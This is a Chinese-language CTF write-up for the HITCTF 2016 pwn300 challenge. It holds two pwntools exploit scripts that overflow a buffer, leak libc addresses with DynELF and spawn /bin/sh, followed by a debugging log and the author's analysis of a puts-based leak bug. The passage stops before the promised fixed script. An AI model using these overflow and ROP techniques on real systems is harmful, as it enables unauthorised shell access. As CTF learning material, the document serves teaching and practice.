简介 :
下载 : http://ctf.hit.edu.cn/rs/file/ctf/pwn/2016-hitctf/pwn300
nc ctf.hit.edu.cn 4011
分析 :
- 没有给libc , 考虑到使用 DynELF 来搜索目标主机的内存空间 , 找到对应 libc 版本并下载到本地计算偏移
- 可以泄露内存空间的函数有 : puts 和 write
利用脚本 :
write 函数版
#!/usr/bin/env python
from pwn import *
Io = process("pwn300")
#Io = remote("ctf.hit.edu.cn", 4011)
def leak(addr):
junkSize = 26
junk = "A" * junkSize
start_addr = p32(0x08048400)
write_plt = p32(0x080483E0)
fd = p32(1)
buf = p32(addr)
count = p32(4)
payload = junk + write_plt + start_addr + fd + buf + count
Io.sendline(payload)
Io.recvuntil(count)
Io.recv(1)
leak_data = Io.recv(4)
print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
return leak_data
def main():
# leak system()
d = DynELF(leak, elf=ELF("./pwn300"))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))
# read /bin/sh
data_addr = 0x0804A030
bin_sh_addr = p32(data_addr)
junk = "A" * 26
read_plt = p32(0x08048390)
start_addr = p32(0x08048400)
fd = p32(0)
buf = p32(data_addr)
count = p32(8)
payload = junk + read_plt + start_addr + fd + buf + count
Io.sendline(payload)
Io.send("/bin/sh\x00")
payload = junk + p32(system_addr) + start_addr + bin_sh_addr
Io.sendline(payload)
Io.interactive()
if __name__ == "__main__":
main()
puts 函数版 :
#!/usr/bin/env python
from pwn import *
Io = process("pwn300")
# Io = remote("ctf.hit.edu.cn", 4015)
def leak(addr):
junkSize = 26
junk = "A" * junkSize
start_addr = p32(0x08048400)
puts_plt = p32(0x080483A0)
buf = p32(addr)
payload = junk + puts_plt + start_addr + buf
SIGN = buf[-1]
Io.sendline(payload)
data = ""
while True:
data += Io.recv(1)
if data.endswith("What's your name?\n"):
break
output_length = len("hello, ") + len(payload) + len("\n")
temp = data[output_length: -(len("What's your name?\n") + len("\n"))]
leak_data = temp[0:4]
if len(leak_data) < 4:
leak_data += "\x00" * (4 - len(temp))
print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
return leak_data
def main():
Io.readuntil("What's your name?\n")
d = DynELF(leak, elf=ELF("./pwn300"))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))
if __name__ == "__main__":
main()
后记 :
不知道为什么 , 使用 puts 函数进行利用的时候 , 是可以正常搜索目标主机的内存的 ,
但是在查找 system() 函数的地址的时候 DynELF 报错了 , 不知道为什么 ,
暂时还没有解决 , 如果有知道的小伙伴儿一定要告诉我 , 先谢谢啦 , 错误信息如下 :
[!] Could not find executable 'pwn300' in \$PATH, using './pwn300' instead
[+] Starting local process './pwn300': pid 25340
[*] '/root/Desktop/pwn300/pwn300'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[0x8048000] -> [7f454c46] = ['\x7fELF']
[+] Loading from '/root/Desktop/pwn300/pwn300': 0xf77b0918
[0x804a004] -> [18097bf7] = ['\x18\t{\xf7']
[+] Resolving 'system' in 'libc.so': 0xf77b0918
[0x8049f14] -> [01000000] = ['\x01\x00\x00\x00']
[0x8049f1c] -> [0c000000] = ['\x0c\x00\x00\x00']
[0x8049f24] -> [0d000000] = ['\r\x00\x00\x00']
[0x8049f2c] -> [19000000] = ['\x19\x00\x00\x00']
[0x8049f34] -> [1b000000] = ['\x1b\x00\x00\x00']
[0x8049f3c] -> [1a000000] = ['\x1a\x00\x00\x00']
[0x8049f44] -> [1c000000] = ['\x1c\x00\x00\x00']
[0x8049f4c] -> [f5feff6f] = ['\xf5\xfe\xffo']
[0x8049f54] -> [05000000] = ['\x05\x00\x00\x00']
[0x8049f5c] -> [06000000] = ['\x06\x00\x00\x00']
[0x8049f64] -> [0a000000] = ['\n\x00\x00\x00']
[0x8049f6c] -> [0b000000] = ['\x0b\x00\x00\x00']
[0x8049f74] -> [15000000] = ['\x15\x00\x00\x00']
[0x8049f7c] -> [03000000] = ['\x03\x00\x00\x00']
[0x8049f80] -> [00000000] = ['\x00\x00\x00\x00']
[0x8049f78] -> [04097bf7] = ['\x04\t{\xf7']
[0xf77b0908] -> [18097bf7] = ['\x18\t{\xf7']
[0xf77b0928] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b091c] -> [040c7bf7] = ['\x04\x0c{\xf7']
[0xf77b0c04] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b0924] -> [080c7bf7] = ['\x08\x0c{\xf7']
[0xf77b0c0c] -> [780e7bf7] = ['x\x0e{\xf7']
[0xf77b0e78] -> [6c696e75] = ['linu']
[0xf77b0e7c] -> [782d6761] = ['x-ga']
[0xf77b0e80] -> [74652e73] = ['te.s']
[0xf77b0e84] -> [6f2e3100] = ['o.1\x00']
[0xf77b0c14] -> [286e78f7] = ['(nx\xf7']
[0xf7786e2c] -> [106e78f7] = ['\x10nx\xf7']
[0xf7786e10] -> [2f6c6962] = ['/lib']
[0xf7786e14] -> [33322f6c] = ['32/l']
[0xf7786e18] -> [6962632e] = ['ibc.']
[0xf7786e1c] -> [736f2e36] = ['so.6']
[0xf7786e20] -> [00000000] = ['\x00\x00\x00\x00']
[0xf7786e28] -> [00000000] = ['\x00\x00\x00\x00']
[ERROR] Must specify either a pointer into a module and/or an ELF file with a valid base address
Traceback (most recent call last):
File "./exploit_puts.py", line 38, in
main()
File "./exploit_puts.py", line 33, in main
system_addr = d.lookup('system', 'libc')
File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 541, in lookup
if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 645, in _dynamic_load_dynelf
lib = DynELF(leak, libbase)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 166, in __init__
log.error("Must specify either a pointer into a module and/or an ELF file with a valid base address")
File "/usr/local/lib/python2.7/dist-packages/pwnlib/log.py", line 416, in error
raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Must specify either a pointer into a module and/or an ELF file with a valid base address
[*] Stopped process './pwn300' (pid 25340)
再次后记 :
我好像大概想明白了为啥这个时候会报错 , 还是因为使用 puts 的时候 leak 函数写的有问题
puts 函数当遇到 \x00 的时候就会结束输出
因此当内存中存在 \x00 , 那么输出就会被截断 , 因此获取到的数据可能会不完整
之前脚本中的逻辑是 , 如果不完整就直接全部用 \x00 来填充 , 但是这是有问题的
比如说内存中一段数据为 : \x00\x11\x22\x33
那么我的脚本跑出来的结果就是 \x00\x00\x00\x00 , 这样就会出错了
因此为了修复这个错误 , 我们应该这样做 , 当读取到的第一个字节是 \x00 的时候
为了保证数据的完整性 , 需要对下一个字节继续进行读取 , 直到四个字节全部读取完毕
这个时候才可以正常返回 , 这样才不会出错
修改之后的脚本如下 :
puts 版本利用脚本 :